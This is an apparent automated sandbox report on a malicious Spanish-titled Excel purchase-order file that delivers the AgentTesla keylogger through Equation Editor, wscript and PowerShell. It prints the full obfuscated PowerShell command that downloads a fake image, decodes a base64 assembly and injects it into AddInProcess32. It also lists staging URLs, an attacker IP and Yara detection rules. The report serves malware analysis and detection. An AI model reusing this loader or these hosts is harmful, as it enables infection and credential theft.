Source: wscript.exe, 00000005.00000002.484826885.0000000000773000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484735410.000000000075D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484751886.0000000000772000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484687327.000000000075D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txtC:
Source: wscript.exe, 00000005.00000003.484540516.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.484859196.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txtz
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000006.00000002.478435107.00000000005FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c
Source: AddInProcess32.exe, 00000008.00000002.478863572.0000000002511000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025AE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.000000000251B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: powershell.exe, 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.0000000002511000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025AE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.000000000251B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000006.00000002.479060921.0000000002331000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.0000000002511000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025AE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.000000000251B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: AddInProcess32.exe, 00000009.00000002.618799471.0000000002519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.
Source: powershell.exe, 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uploaddeimagens.com.br
Source: powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uploaddeimagens.com.br/images/004/806/083/original/new_image.jpg?1719607612
Source: powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uploaddeimagens.com.br/images/004/806/083/original/new_image.jpg?1719607612Ama;
Source: powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235
Source: powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235Ama;

Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, 8WWn.cs

.Net Code: lLRvJ

System Summary

Malicious sample detected (through community Yara rule)

Source: sheet1.xml, type: SAMPLE	Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2799
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2799			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\ProgID	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\ProgID	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00295C7A	6_2_00295C7A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00294D7D	6_2_00294D7D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00298F17	6_2_00298F17
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0029C774	6_2_0029C774
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00298FD9	6_2_00298FD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_002038F0	8_2_002038F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_002088C8	8_2_002088C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00204910	8_2_00204910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0020F4E8	8_2_0020F4E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0020BD08	8_2_0020BD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00203C38	8_2_00203C38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0020DF4B	8_2_0020DF4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_005B1860	8_2_005B1860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_002D38F0	9_2_002D38F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_002D4908	9_2_002D4908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_002DF4E0	9_2_002DF4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_002DBDC8	9_2_002DBDC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_002D3C38	9_2_002D3C38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_00521860	9_2_00521860

Source: orden de compra.xlam.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: sheet1.xml, type: SAMPLE	Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, G39cBQ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, G39cBQ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, sDtvQjPGfa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, sDtvQjPGfa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, sDtvQjPGfa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, sDtvQjPGfa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, b1PPCKov2KZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, b1PPCKov2KZ.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@10/8@3/4

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$orden de compra.xlam.xlsx

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR7F8B.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................x..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................'.=.'...(.P.....................x..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................x..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.0.9.5..............................s....................&.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................x..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................x..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................x..................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................x.......'..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................x.......3..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................E..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................Q..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .n.d.i.n.g.E.x.c.e.p.t.i.o.n.......d..........................s....................".......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................q..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . ...C.o.m.m.a.n.d.s...S.e.t.V.a.r.i.a.b.l.e.C.o.m.m.a.n.d......s....................>.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P........................................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: orden de compra.xlam.xlsx	ReversingLabs: Detection: 68%
Source: orden de compra.xlam.xlsx	Virustotal: Detection: 47%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js"
